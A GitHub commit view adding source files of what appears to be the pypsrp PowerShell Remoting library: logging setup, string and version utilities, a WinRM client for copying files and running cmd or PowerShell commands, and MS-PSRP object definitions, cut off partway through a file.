-
Mohamed El-Balki committed with GitHub 1 year ago1 parent a3491151
Showing first 9 files as there are too many
-
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import json 5 + import logging 6 + import logging.config 7 + import os 8 + from logging import NullHandler 9 + 10 + 11 + def _setup_logging(logger: logging.Logger) -> None: 12 + log_path = os.environ.get("PYPSRP_LOG_CFG", None) 13 + 14 + if log_path is not None and os.path.exists(log_path): # pragma: no cover 15 + # log log config from JSON file 16 + with open(log_path, "rt") as f: 17 + config = json.load(f) 18 + 19 + logging.config.dictConfig(config) 20 + else: 21 + # no logging was provided 22 + logger.addHandler(NullHandler()) 23 + 24 + 25 + logger = logging.getLogger(__name__) 26 + _setup_logging(logger) 27 + 28 + # Contains a list of features, used by external libraries to determine whether 29 + # a new enough pypsrp is installed to support the features it needs 30 + FEATURES = [ 31 + "wsman_locale", 32 + "wsman_read_timeout", 33 + "wsman_reconnections", 34 + ] 35 + -
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import pkgutil 5 + import typing 6 + from urllib.parse import urlparse 7 + 8 + 9 + def to_bytes( 10 + obj: typing.Any, 11 + encoding: str = "utf-8", 12 + ) -> bytes: 13 + """ 14 + Makes sure the string is encoded as a byte string. 15 + 16 + :param obj: Python 2 string, Python 3 byte string, Unicode string to encode 17 + :param encoding: The encoding to use 18 + :return: The byte string that was encoded 19 + """ 20 + if isinstance(obj, bytes): 21 + return obj 22 + 23 + return obj.encode(encoding) 24 + 25 + 26 + def to_unicode( 27 + obj: typing.Any, 28 + encoding: str = "utf-8", 29 + ) -> str: 30 + """ 31 + Makes sure the string is unicode string. 32 + 33 + :param obj: Python 2 string, Python 3 byte string, Unicode string to decode 34 + :param encoding: The encoding to use 35 + :return: THe unicode string the was decoded 36 + """ 37 + if obj is None: 38 + obj = str(None) 39 + 40 + if isinstance(obj, str): 41 + return obj 42 + 43 + return obj.decode(encoding) 44 + 45 + 46 + """ 47 + Python 2 and 3 handle native strings differently, 2 is like a byte string while 48 + 3 uses unicode as the native string. The function to_string is used to easily 49 + convert an existing string like object to the native version that is required 50 + """ 51 + to_string = to_unicode 52 + 53 + 54 + def version_equal_or_newer( 55 + version: str, 56 + reference_version: str, 57 + ) -> bool: 58 + """ 59 + Compares the 2 version strings and returns a bool that states whether 60 + version is newer than or equal to the reference version. 61 + 62 + This is quite strict and splits the string by . and compares the int 63 + values in them 64 + 65 + :param version: The version string to compare 66 + :param reference_version: The version string to check version against 67 + :return: True if version is newer than or equal to reference_version 68 + """ 69 + version_parts = version.split(".") 70 + reference_version_parts = reference_version.split(".") 71 + 72 + # pad the version parts by 0 so the comparisons after won't fail with an 73 + # index error 74 + if len(version_parts) < len(reference_version_parts): 75 + diff = len(reference_version_parts) - len(version_parts) 76 + version_parts.extend(["0"] * diff) 77 + if len(reference_version_parts) < len(version_parts): 78 + diff = len(version_parts) - len(reference_version_parts) 79 + reference_version_parts.extend(["0"] * diff) 80 + 81 + newer = True 82 + for idx, version in enumerate(version_parts): 83 + current_version = int(reference_version_parts[idx]) 84 + if int(version) < current_version: 85 + newer = False 86 + break 87 + elif int(version) > current_version: 88 + break 89 + 90 + return newer 91 + 92 + 93 + def get_hostname(url: str) -> typing.Optional[str]: 94 + return urlparse(url).hostname 95 + 96 + 97 + def get_pwsh_script(name: str) -> str: 98 + """ 99 + Get the contents of a script stored in pypsrp/pwsh_scripts. Will also strip out any empty lines and comments to 100 + reduce the data we send across as much as possible. 101 + 102 + :param name: The filename of the script in pypsrp/pwsh_scripts to get. 103 + :return: The script contents. 104 + """ 105 + script = to_unicode(pkgutil.get_data("pypsrp.pwsh_scripts", name)) 106 + 107 + block_comment = False 108 + new_lines = [] 109 + for line in script.splitlines(): 110 + 111 + line = line.strip() 112 + if block_comment: 113 + block_comment = not line.endswith("#>") 114 + elif line.startswith("<#"): 115 + block_comment = True 116 + elif line and not line.startswith("#"): 117 + new_lines.append(line) 118 + 119 + return "\n".join(new_lines) 120 + -
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + from __future__ import division 5 + 6 + import base64 7 + import hashlib 8 + import logging 9 + import os 10 + import shutil 11 + import tempfile 12 + import types 13 + import typing 14 + import warnings 15 + import xml.etree.ElementTree as ET 16 + 17 + from pypsrp._utils import get_pwsh_script, to_bytes, to_unicode 18 + from pypsrp.complex_objects import ComplexObject 19 + from pypsrp.exceptions import WinRMError 20 + from pypsrp.powershell import ( 21 + DEFAULT_CONFIGURATION_NAME, 22 + PowerShell, 23 + PSDataStreams, 24 + RunspacePool, 25 + ) 26 + from pypsrp.serializer import Serializer 27 + from pypsrp.shell import Process, SignalCode, WinRS 28 + from pypsrp.wsman import WSMan 29 + 30 + log = logging.getLogger(__name__) 31 + 32 + 33 + class Client(object): 34 + def __init__( 35 + self, 36 + server: str, 37 + **kwargs: typing.Any, 38 + ) -> None: 39 + """ 40 + Creates a client object used to do the following 41 + spawn new cmd command/process 42 + spawn new PowerShell Runspace Pool/Pipeline 43 + copy a file from localhost to the remote Windows host 44 + fetch a file from the remote Windows host to localhost 45 + 46 + This is just an easy to use layer on top of the objects WinRS and 47 + RunspacePool/PowerShell. It trades flexibility in favour of simplicity. 48 + 49 + If your use case needs some of that flexibility you can use these 50 + functions as a reference implementation for your own functions. 51 + 52 + :param server: The server/host to connect to 53 + :param kwargs: The various WSMan args to control the transport 54 + mechanism, see pypsrp.wsman.WSMan for these args 55 + """ 56 + self.wsman = WSMan(server, **kwargs) 57 + 58 + def __enter__(self) -> "Client": 59 + return self 60 + 61 + def __exit__( 62 + self, 63 + exc_type: typing.Optional[typing.Type[BaseException]], 64 + value: typing.Optional[BaseException], 65 + traceback: typing.Optional[types.TracebackType], 66 + ) -> None: 67 + self.close() 68 + 69 + def copy( 70 + self, 71 + src: str, 72 + dest: str, 73 + configuration_name: str = DEFAULT_CONFIGURATION_NAME, 74 + expand_variables: bool = False, 75 + ) -> str: 76 + """ 77 + Copies a single file from the current host to the remote Windows host. 78 + This can be quite slow when it comes to large files due to the 79 + limitations of WinRM but it is designed to be as fast as it can be. 80 + During the copy process, the bytes will be stored in a temporary file 81 + before being copied. 82 + 83 + When copying it will replace the file at dest if one already exists. It 84 + also will verify the checksum of the copied file is the same as the 85 + actual file locally before copying the file to the path at dest. 86 + 87 + :param src: The path to the local file 88 + :param dest: The path to the destination file on the Windows host 89 + :param configuration_name: The PowerShell configuration endpoint to 90 + use when copying the file. 91 + :param expand_variables: Expand variables in path. Disabled by default 92 + Enable for cmd like expansion (for example %TMP% in path) 93 + :return: The absolute path of the file on the Windows host 94 + """ 95 + 96 + def read_buffer(b_path: bytes, total_size: int, buffer_size: int) -> typing.Iterator: 97 + offset = 0 98 + sha1 = hashlib.sha1() 99 + 100 + with open(b_path, "rb") as src_file: 101 + for data in iter((lambda: src_file.read(buffer_size)), b""): 102 + log.debug("Reading data of file at offset=%d with size=%d" % (offset, buffer_size)) 103 + offset += len(data) 104 + sha1.update(data) 105 + b64_data = base64.b64encode(data) 106 + 107 + result = [to_unicode(b64_data)] 108 + if offset == total_size: 109 + result.append(to_unicode(base64.b64encode(to_bytes(sha1.hexdigest())))) 110 + 111 + yield result 112 + 113 + # the file was empty, return empty buffer 114 + if offset == 0: 115 + yield ["", to_unicode(base64.b64encode(to_bytes(sha1.hexdigest())))] 116 + 117 + if expand_variables: 118 + src = os.path.expanduser(os.path.expandvars(src)) 119 + b_src = to_bytes(src) 120 + src_size = os.path.getsize(b_src) 121 + log.info("Copying '%s' to '%s' with a total size of %d" % (src, dest, src_size)) 122 + 123 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: 124 + # Get the buffer size of each fragment to send, subtract. Adjust to size of the base64 encoded bytes. Also 125 + # subtract 82 for the fragment, message, and other header info that PSRP adds. 126 + buffer_size = int((self.wsman.max_payload_size - 82) / 4 * 3) 127 + 128 + log.info("Creating file reader with a buffer size of %d" % buffer_size) 129 + read_gen = read_buffer(b_src, src_size, buffer_size) 130 + 131 + command = get_pwsh_script("copy.ps1") 132 + log.debug("Starting to send file data to remote process") 133 + powershell = PowerShell(pool) 134 + powershell.add_script(command).add_argument(dest).add_argument(expand_variables) 135 + powershell.invoke(input=read_gen) 136 + _handle_powershell_error(powershell, "Failed to copy file") 137 + 138 + log.debug("Finished sending file data to remote process") 139 + for warning in powershell.streams.warning: 140 + warnings.warn(str(warning)) 141 + 142 + output_file = to_unicode(powershell.output[-1]).strip() 143 + log.info("Completed file transfer of '%s' to '%s'" % (src, output_file)) 144 + return output_file 145 + 146 + def execute_cmd( 147 + self, 148 + command: str, 149 + encoding: str = "437", 150 + environment: typing.Optional[typing.Dict[str, str]] = None, 151 + ) -> typing.Tuple[str, str, int]: 152 + """ 153 + Executes a command in a cmd shell and returns the stdout/stderr/rc of 154 + that process. This uses the raw WinRS layer and can be used to execute 155 + a traditional process. 156 + 157 + :param command: The command to execute 158 + :param encoding: The encoding of the output std buffers, this 159 + correlates to the codepage of the host and traditionally en-US 160 + is 437. This probably doesn't need to be modified unless you are 161 + running a different codepage on your host 162 + :param environment: A dictionary containing environment keys and 163 + values to set on the executing process. 164 + :return: A tuple of 165 + stdout: A unicode string of the stdout 166 + stderr: A unicode string of the stderr 167 + rc: The return code of the process 168 + 169 + Both stdout and stderr are returned from the server as a byte string, 170 + they are converted to a unicode string based on the encoding variable 171 + set 172 + """ 173 + log.info("Executing cmd process '%s'" % command) 174 + with WinRS(self.wsman, environment=environment) as shell: 175 + process = Process(shell, command) 176 + process.invoke() 177 + process.signal(SignalCode.CTRL_C) 178 + 179 + rc = process.rc if process.rc is not None else -1 180 + return to_unicode(process.stdout, encoding), to_unicode(process.stderr, encoding), rc 181 + 182 + def execute_ps( 183 + self, 184 + script: str, 185 + configuration_name: str = DEFAULT_CONFIGURATION_NAME, 186 + environment: typing.Optional[typing.Dict[str, str]] = None, 187 + ) -> typing.Tuple[str, PSDataStreams, bool]: 188 + """ 189 + Executes a PowerShell script in a PowerShell runspace pool. This uses 190 + the PSRP layer and is designed to run a PowerShell script and not a 191 + raw executable. 192 + 193 + Because this runs in a runspace, traditional concepts like stdout, 194 + stderr, rc's are no longer relevant. Instead there is a output, 195 + error/verbose/debug streams, and a boolean that indicates if the 196 + script execution came across an error. If you want the traditional 197 + stdout/stderr/rc, use execute_cmd instead. 198 + 199 + :param script: The PowerShell script to run 200 + :param configuration_name: The PowerShell configuration endpoint to 201 + use when executing the script. 202 + :param environment: A dictionary containing environment keys and 203 + values to set on the executing script. 204 + :return: A tuple of 205 + output: A unicode string of the output stream 206 + streams: pypsrp.powershell.PSDataStreams containing the other 207 + PowerShell streams 208 + had_errors: bool that indicates whether the script had errors 209 + during execution 210 + """ 211 + log.info("Executing PowerShell script '%s'" % script) 212 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: 213 + powershell = PowerShell(pool) 214 + 215 + if environment: 216 + for env_key, env_value in environment.items(): 217 + # Done like this for easier testing, preserves the param order 218 + log.debug("Setting env var '%s' on PS script execution" % env_key) 219 + powershell.add_cmdlet("New-Item").add_parameter("Path", "env:").add_parameter( 220 + "Name", env_key 221 + ).add_parameter("Value", env_value).add_parameter("Force", True).add_cmdlet( 222 + "Out-Null" 223 + ).add_statement() 224 + 225 + # so the client executes a powershell script and doesn't need to 226 + # deal with complex PS objects, we run the script in 227 + # Invoke-Expression and convert the output to a string 228 + # if a user wants to get the raw complex objects then they should 229 + # use RunspacePool and PowerShell directly 230 + powershell.add_cmdlet("Invoke-Expression").add_parameter("Command", script) 231 + powershell.add_cmdlet("Out-String").add_parameter("Stream") 232 + powershell.invoke() 233 + 234 + return "\n".join(powershell.output), powershell.streams, powershell.had_errors 235 + 236 + def fetch( 237 + self, 238 + src: str, 239 + dest: str, 240 + configuration_name: str = DEFAULT_CONFIGURATION_NAME, 241 + expand_variables: bool = False, 242 + ) -> None: 243 + """ 244 + Will fetch a single file from the remote Windows host and create a 245 + local copy. Like copy(), this can be slow when it comes to fetching 246 + large files due to the limitation of WinRM. 247 + 248 + This method will first store the file in a temporary location before 249 + creating or replacing the file at dest if the checksum is correct. 250 + 251 + :param src: The path to the file on the remote host to fetch 252 + :param dest: The path on the localhost host to store the file as 253 + :param configuration_name: The PowerShell configuration endpoint to 254 + use when fetching the file. 255 + :param expand_variables: Expand variables in path. Disabled by default 256 + Enable for cmd like expansion (for example %TMP% in path) 257 + """ 258 + if expand_variables: 259 + dest = os.path.expanduser(os.path.expandvars(dest)) 260 + log.info("Fetching '%s' to '%s'" % (src, dest)) 261 + 262 + with RunspacePool(self.wsman, configuration_name=configuration_name) as pool: 263 + script = get_pwsh_script("fetch.ps1") 264 + powershell = PowerShell(pool) 265 + powershell.add_script(script).add_argument(src).add_argument(expand_variables) 266 + 267 + log.debug("Starting remote process to output file data") 268 + powershell.invoke() 269 + _handle_powershell_error(powershell, "Failed to fetch file %s" % src) 270 + log.debug("Finished remote process to output file data") 271 + 272 + expected_hash = powershell.output[-1] 273 + 274 + temp_file, path = tempfile.mkstemp() 275 + try: 276 + file_bytes = base64.b64decode(powershell.output[0]) 277 + os.write(temp_file, file_bytes) 278 + 279 + sha1 = hashlib.sha1() 280 + sha1.update(file_bytes) 281 + actual_hash = sha1.hexdigest() 282 + 283 + log.debug("Remote Hash: %s, Local Hash: %s" % (expected_hash, actual_hash)) 284 + if actual_hash != expected_hash: 285 + raise WinRMError( 286 + "Failed to fetch file %s, hash mismatch\n" 287 + "Source: %s\nFetched: %s" % (src, expected_hash, actual_hash) 288 + ) 289 + shutil.copy(path, dest) 290 + finally: 291 + os.close(temp_file) 292 + os.remove(path) 293 + 294 + def close(self) -> None: 295 + self.wsman.close() 296 + 297 + @staticmethod 298 + def sanitise_clixml(clixml: str) -> str: 299 + """ 300 + When running a powershell script in execute_cmd (WinRS), the stderr 301 + stream may contain some clixml. This method will clear it up and 302 + replace it with the error string it would represent. This isn't done 303 + by default on execute_cmd for various reasons but people can call it 304 + manually here if they like. 305 + 306 + :param clixml: The clixml to parse 307 + :return: A unicode code string of the decoded output 308 + """ 309 + output = to_unicode(clixml) 310 + if output.startswith("#< CLIXML"): 311 + # Strip off the '#< CLIXML\r\n' by finding the 2nd index of '<' 312 + output = output[clixml.index("<", 2) :] 313 + element = ET.fromstring(output) 314 + namespace = element.tag.replace("Objs", "")[1:-1] 315 + 316 + errors: typing.List[str] = [] 317 + for error in element.findall("{%s}S[@S='Error']" % namespace): 318 + errors.append(error.text or "") 319 + 320 + output = Serializer()._deserialize_string("".join(errors)) 321 + 322 + return output 323 + 324 + 325 + def _handle_powershell_error(powershell: PowerShell, message: str) -> None: 326 + if message and powershell.had_errors: 327 + errors = powershell.streams.error 328 + error = "\n".join([str(err) for err in errors]) 329 + raise WinRMError("%s: %s" % (message, error)) 330 + -
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import typing 5 + from copy import deepcopy 6 + 7 + from pypsrp._utils import to_string, version_equal_or_newer 8 + 9 + 10 + class ObjectMeta(object): 11 + def __init__( 12 + self, 13 + tag: str = "*", 14 + name: typing.Optional[str] = None, 15 + optional: bool = False, 16 + object: typing.Any = None, 17 + ) -> None: 18 + self.tag = tag 19 + self.name = name 20 + self.optional = optional 21 + self.object = object 22 + 23 + 24 + class ListMeta(ObjectMeta): 25 + def __init__( 26 + self, 27 + obj_type: str = "LST", 28 + name: typing.Optional[str] = None, 29 + optional: bool = False, 30 + list_value_meta: typing.Optional[ObjectMeta] = None, 31 + list_types: typing.Optional[typing.List[str]] = None, 32 + ) -> None: 33 + super(ListMeta, self).__init__(obj_type, name, optional) 34 + 35 + if list_value_meta is None: 36 + self.list_value_meta = ObjectMeta() 37 + else: 38 + self.list_value_meta = list_value_meta 39 + 40 + if list_types is None: 41 + self.list_types = ["System.Object[]", "System.Array", "System.Object"] 42 + else: 43 + self.list_types = list_types 44 + 45 + 46 + class StackMeta(ListMeta): 47 + def __init__( 48 + self, 49 + name: typing.Optional[str] = None, 50 + optional: bool = False, 51 + list_value_meta: typing.Optional[ObjectMeta] = None, 52 + list_types: typing.Optional[typing.List[str]] = None, 53 + ) -> None: 54 + if list_types is None: 55 + list_types = ["System.Collections.Stack", "System.Object"] 56 + super(StackMeta, self).__init__("STK", name, optional, list_value_meta, list_types) 57 + 58 + 59 + class QueueMeta(ListMeta): 60 + def __init__( 61 + self, 62 + name: typing.Optional[str] = None, 63 + optional: bool = False, 64 + list_value_meta: typing.Optional[ObjectMeta] = None, 65 + list_types: typing.Optional[typing.List[str]] = None, 66 + ) -> None: 67 + if list_types is None: 68 + list_types = ["System.Collections.Queue", "System.Object"] 69 + super(QueueMeta, self).__init__("QUE", name, optional, list_value_meta, list_types) 70 + 71 + 72 + class DictionaryMeta(ObjectMeta): 73 + def __init__( 74 + self, 75 + name: typing.Optional[str] = None, 76 + optional: bool = False, 77 + dict_key_meta: typing.Optional[ObjectMeta] = None, 78 + dict_value_meta: typing.Optional[ObjectMeta] = None, 79 + dict_types: typing.Optional[typing.List[str]] = None, 80 + ) -> None: 81 + super(DictionaryMeta, self).__init__("DCT", name, optional) 82 + if dict_key_meta is None: 83 + self.dict_key_meta = ObjectMeta(name="Key") 84 + else: 85 + self.dict_key_meta = dict_key_meta 86 + 87 + if dict_value_meta is None: 88 + self.dict_value_meta = ObjectMeta(name="Value") 89 + else: 90 + self.dict_value_meta = dict_value_meta 91 + 92 + if dict_types is None: 93 + self.dict_types = ["System.Collections.Hashtable", "System.Object"] 94 + else: 95 + self.dict_types = dict_types 96 + 97 + 98 + class ComplexObject(object): 99 + def __init__(self) -> None: 100 + self._adapted_properties: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = () 101 + self._extended_properties: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = () 102 + self._property_sets: typing.Tuple[typing.Tuple[str, ObjectMeta], ...] = () 103 + self._types: typing.List[str] = [] 104 + self._to_string = None 105 + self._xml: typing.Optional[str] = None # only populated on deserialization 106 + 107 + def __str__(self) -> str: 108 + return to_string(self._to_string) 109 + 110 + 111 + class GenericComplexObject(ComplexObject): 112 + def __init__(self) -> None: 113 + super(GenericComplexObject, self).__init__() 114 + self.property_sets: typing.List[typing.Any] = [] 115 + self.extended_properties: typing.Dict[str, typing.Any] = {} 116 + self.adapted_properties: typing.Dict[str, typing.Any] = {} 117 + self.to_string: typing.Optional[str] = None 118 + self.types: typing.List[str] = [] 119 + 120 + def __str__(self) -> str: 121 + return to_string(self.to_string) 122 + 123 + 124 + class Enum(ComplexObject): 125 + def __init__( 126 + self, 127 + enum_type: typing.Optional[str], 128 + string_map: typing.Dict[int, str], 129 + **kwargs: typing.Any, 130 + ) -> None: 131 + super(Enum, self).__init__() 132 + self._types = ["System.Enum", "System.ValueType", "System.Object"] 133 + if enum_type is not None: 134 + self._types.insert(0, enum_type) 135 + 136 + self._property_sets = (("value", ObjectMeta("I32")),) 137 + self._string_map = string_map 138 + 139 + self.value = kwargs.get("value") 140 + 141 + @property # type: ignore[override] 142 + def _to_string(self) -> str: # type: ignore[override] 143 + try: 144 + return self._string_map[self.value or 0] 145 + except KeyError as err: 146 + raise KeyError( 147 + "%s is not a valid enum value for %s, valid values are %s" % (err, self._types[0], self._string_map) 148 + ) 149 + 150 + @_to_string.setter 151 + def _to_string(self, value: str) -> None: 152 + pass 153 + 154 + 155 + # PSRP Complex Objects - https://msdn.microsoft.com/en-us/library/dd302883.aspx 156 + class Coordinates(ComplexObject): 157 + def __init__( 158 + self, 159 + **kwargs: typing.Any, 160 + ) -> None: 161 + """ 162 + [MS-PSRP] 2.2.3.1 Coordinates 163 + https://msdn.microsoft.com/en-us/library/dd302883.aspx 164 + 165 + :param x: The X coordinate (0 is the leftmost column) 166 + :param y: The Y coordinate (0 is the topmost row) 167 + """ 168 + super(Coordinates, self).__init__() 169 + self._adapted_properties = ( 170 + ("x", ObjectMeta("I32", name="X")), 171 + ("y", ObjectMeta("I32", name="Y")), 172 + ) 173 + self._types = ["System.Management.Automation.Host.Coordinates", "System.ValueType", "System.Object"] 174 + self.x = kwargs.get("x") 175 + self.y = kwargs.get("y") 176 + 177 + 178 + class Size(ComplexObject): 179 + def __init__(self, **kwargs: typing.Any) -> None: 180 + """ 181 + [MS-PSRP] 2.2.3.2 Size 182 + https://msdn.microsoft.com/en-us/library/dd305083.aspx 183 + 184 + :param width: The width of the size 185 + :param height: The height of the size 186 + """ 187 + super(Size, self).__init__() 188 + self._adapted_properties = ( 189 + ("width", ObjectMeta("I32", name="Width")), 190 + ("height", ObjectMeta("I32", name="Height")), 191 + ) 192 + self._types = ["System.Management.Automation.Host.Size", "System.ValueType", "System.Object"] 193 + self.width = kwargs.get("width") 194 + self.height = kwargs.get("height") 195 + 196 + 197 + class Color(Enum): 198 + BLACK = 0 199 + DARK_BLUE = 1 200 + DARK_GREEN = 2 201 + DARK_CYAN = 3 202 + DARK_RED = 4 203 + DARK_MAGENTA = 5 204 + DARK_YELLOW = 6 205 + GRAY = 7 206 + DARK_GRAY = 8 207 + BLUE = 9 208 + GREEN = 10 209 + CYAN = 11 210 + RED = 12 211 + MAGENTA = 13 212 + YELLOW = 14 213 + WHITE = 15 214 + 215 + def __init__( 216 + self, 217 + **kwargs: typing.Any, 218 + ) -> None: 219 + """ 220 + [MS-PSRP] 2.2.3.3 Color 221 + https://msdn.microsoft.com/en-us/library/dd360026.aspx 222 + 223 + :param value: The enum value for Color 224 + """ 225 + string_map = { 226 + 0: "Black", 227 + 1: "DarkBlue", 228 + 2: "DarkGreen", 229 + 3: "DarkCyan", 230 + 4: "DarkRed", 231 + 5: "DarkMagenta", 232 + 6: "DarkYellow", 233 + 7: "Gray", 234 + 8: "DarkGray", 235 + 9: "Blue", 236 + 10: "Green", 237 + 11: "Cyan", 238 + 12: "Red", 239 + 13: "Magenta", 240 + 14: "Yellow", 241 + 15: "White", 242 + } 243 + super(Color, self).__init__("System.ConsoleColor", string_map, **kwargs) 244 + 245 + 246 + class RunspacePoolState(object): 247 + BEFORE_OPEN = 0 248 + OPENING = 1 249 + OPENED = 2 250 + CLOSED = 3 251 + CLOSING = 4 252 + BROKEN = 5 253 + NEGOTIATION_SENT = 6 254 + NEGOTIATION_SUCCEEDED = 7 255 + CONNECTING = 8 256 + DISCONNECTED = 9 257 + 258 + def __init__(self, state): 259 + """ 260 + [MS-PSRP] 2.2.3.4 RunspacePoolState 261 + https://msdn.microsoft.com/en-us/library/dd341723.aspx 262 + 263 + Represents the state of the RunspacePool. 264 + 265 + :param state: The state int value 266 + """ 267 + self.state = state 268 + 269 + def __str__(self): 270 + return { 271 + 0: "BeforeOpen", 272 + 1: "Opening", 273 + 2: "Opened", 274 + 3: "Closed", 275 + 4: "Closing", 276 + 5: "Broken", 277 + 6: "NegotiationSent", 278 + 7: "NegotiationSucceeded", 279 + 8: "Connecting", 280 + 9: "Disconnected", 281 + }[self.state] 282 + 283 + 284 + class PSInvocationState(object): 285 + NOT_STARTED = 0 286 + RUNNING = 1 287 + STOPPING = 2 288 + STOPPED = 3 289 + COMPLETED = 4 290 + FAILED = 5 291 + DISCONNECTED = 6 292 + 293 + def __init__(self, state): 294 + """ 295 + [MS-PSRP] 2.2.3.5 PSInvocationState 296 + https://msdn.microsoft.com/en-us/library/dd341651.aspx 297 + 298 + Represents the state of a pipeline invocation. 299 + 300 + :param state: The state int value 301 + """ 302 + self.state = state 303 + 304 + def __str__(self): 305 + return { 306 + 0: "NotStarted", 307 + 1: "Running", 308 + 2: "Stopping", 309 + 3: "Stopped", 310 + 4: "Completed", 311 + 5: "Failed", 312 + 6: "Disconnected", 313 + }[self.state] 314 + 315 + 316 + class PSThreadOptions(Enum): 317 + DEFAULT = 0 318 + USE_NEW_THREAD = 1 319 + REUSE_THREAD = 2 320 + USE_CURRENT_THREAD = 3 321 + 322 + def __init__( 323 + self, 324 + **kwargs: typing.Any, 325 + ) -> None: 326 + """ 327 + [MS-PSRP] 2.2.3.6 PSThreadOptions 328 + https://msdn.microsoft.com/en-us/library/dd305678.aspx 329 + 330 + :param value: The enum value for PS Thread Options 331 + """ 332 + string_map = {0: "Default", 1: "UseNewThread", 2: "ReuseThread", 3: "UseCurrentThread"} 333 + super(PSThreadOptions, self).__init__( 334 + "System.Management.Automation.Runspaces.PSThreadOptions", string_map, **kwargs 335 + ) 336 + 337 + 338 + class ApartmentState(Enum): 339 + STA = 0 340 + MTA = 1 341 + UNKNOWN = 2 342 + 343 + def __init__( 344 + self, 345 + **kwargs: typing.Any, 346 + ) -> None: 347 + """ 348 + [MS-PSRP] 2.2.3.7 ApartmentState 349 + https://msdn.microsoft.com/en-us/library/dd304257.aspx 350 + 351 + :param value: The enum value for Apartment State 352 + """ 353 + string_map = {0: "STA", 1: "MTA", 2: "UNKNOWN"} 354 + super(ApartmentState, self).__init__( 355 + "System.Management.Automation.Runspaces.ApartmentState", string_map, **kwargs 356 + ) 357 + 358 + 359 + class RemoteStreamOptions(Enum): 360 + ADD_INVOCATION_INFO_TO_ERROR_RECORD = 1 361 + ADD_INVOCATION_INFO_TO_WARNING_RECORD = 2 362 + ADD_INVOCATION_INFO_TO_DEBUG_RECORD = 4 363 + ADD_INVOCATION_INFO_TO_VERBOSE_RECORD = 8 364 + ADD_INVOCATION_INFO = 15 365 + 366 + def __init__( 367 + self, 368 + **kwargs: typing.Any, 369 + ) -> None: 370 + """ 371 + [MS-PSRP] 2.2.3.8 RemoteStreamOptions 372 + https://msdn.microsoft.com/en-us/library/dd303829.aspx 373 + 374 + :param value: The initial RemoteStreamOption to set 375 + """ 376 + super(RemoteStreamOptions, self).__init__( 377 + "System.Management.Automation.Runspaces.RemoteStreamOptions", {}, **kwargs 378 + ) 379 + 380 + @property # type: ignore[override] 381 + def _to_string(self) -> str: # type: ignore[override] 382 + if self.value == 15: 383 + return "AddInvocationInfo" 384 + 385 + string_map = ( 386 + ("AddInvocationInfoToErrorRecord", 1), 387 + ("AddInvocationInfoToWarningRecord", 2), 388 + ("AddInvocationInfoToDebugRecord", 4), 389 + ("AddInvocationInfoToVerboseRecord", 8), 390 + ) 391 + values = [] 392 + for name, flag in string_map: 393 + if (self.value or 0) & flag == flag: 394 + values.append(name) 395 + return ", ".join(values) 396 + 397 + @_to_string.setter 398 + def _to_string(self, value): 399 + pass 400 + 401 + 402 + class Pipeline(ComplexObject): 403 + class _ExtraCmds(ComplexObject): 404 + def __init__(self, **kwargs): 405 + # Used to encapsulate ExtraCmds in the structure required 406 + super(Pipeline._ExtraCmds, self).__init__() 407 + self._extended_properties = ( 408 + ( 409 + "cmds", 410 + ListMeta( 411 + name="Cmds", 412 + list_value_meta=ObjectMeta("Obj", object=Command), 413 + list_types=[ 414 + "System.Collections.Generic.List`1[[" 415 + "System.Management.Automation.PSObject, " 416 + "System.Management.Automation, Version=1.0.0.0, " 417 + "Culture=neutral, PublicKeyToken=31bf3856ad364e35]]", 418 + "System.Object", 419 + ], 420 + ), 421 + ), 422 + ) 423 + self.cmds = kwargs.get("cmds") 424 + 425 + def __init__( 426 + self, 427 + **kwargs: typing.Any, 428 + ) -> None: 429 + """ 430 + [MS-PSRP] 2.2.3.11 Pipeline 431 + https://msdn.microsoft.com/en-us/library/dd358182.aspx 432 + 433 + :param is_nested: Whether the pipeline is a nested pipeline 434 + :param commands: List of commands to run 435 + :param history: The history string to add to the pipeline 436 + :param redirect_err_to_out: Whether to redirect the global 437 + error output pipe to the commands error output pipe. 438 + """ 439 + super(Pipeline, self).__init__() 440 + cmd_types = [ 441 + "System.Collections.Generic.List`1[[" 442 + "System.Management.Automation.PSObject, " 443 + "System.Management.Automation, " 444 + "Version=1.0.0.0, Culture=neutral, " 445 + "PublicKeyToken=31bf3856ad364e35]]", 446 + "System.Object", 447 + ] 448 + 449 + self._extended_properties = ( 450 + ("is_nested", ObjectMeta("B", name="IsNested")), 451 + # ExtraCmds isn't in spec but is value and used to send multiple 452 + # statements 453 + ( 454 + "_extra_cmds", 455 + ListMeta( 456 + name="ExtraCmds", list_value_meta=ObjectMeta("Obj", object=self._ExtraCmds), list_types=cmd_types 457 + ), 458 + ), 459 + ("_cmds", ListMeta(name="Cmds", list_value_meta=ObjectMeta("Obj", object=Command), list_types=cmd_types)), 460 + ("history", ObjectMeta("S", name="History")), 461 + ("redirect_err_to_out", ObjectMeta("B", name="RedirectShellErrorOutputPipe")), 462 + ) 463 + self.is_nested = kwargs.get("is_nested") 464 + self.commands = kwargs.get("cmds") 465 + self.history = kwargs.get("history") 466 + self.redirect_err_to_out = kwargs.get("redirect_err_to_out") 467 + 468 + @property 469 + def _cmds(self): 470 + # Cmds is always the first statement 471 + return self._get_statements()[0] 472 + 473 + @_cmds.setter 474 + def _cmds(self, value): 475 + # if commands is already set then that means ExtraCmds was present and 476 + # has already been set 477 + if self.commands and len(self.commands) > 0: 478 + return 479 + 480 + # ExtraCmds wasn't present so we need to unpack it 481 + self.commands = value 482 + 483 + @property 484 + def _extra_cmds(self): 485 + statements = self._get_statements() 486 + 487 + # ExtraCmds is only set if we have more than 1 statement, not present 488 + # if only 1 489 + if len(statements) < 2: 490 + return None 491 + else: 492 + extra = [self._ExtraCmds(cmds=c) for c in statements] 493 + return extra 494 + 495 + @_extra_cmds.setter 496 + def _extra_cmds(self, value): 497 + # check if extra_cmds was actually set and return if it wasn't 498 + if value is None: 499 + return 500 + 501 + commands = [] 502 + for statement in value: 503 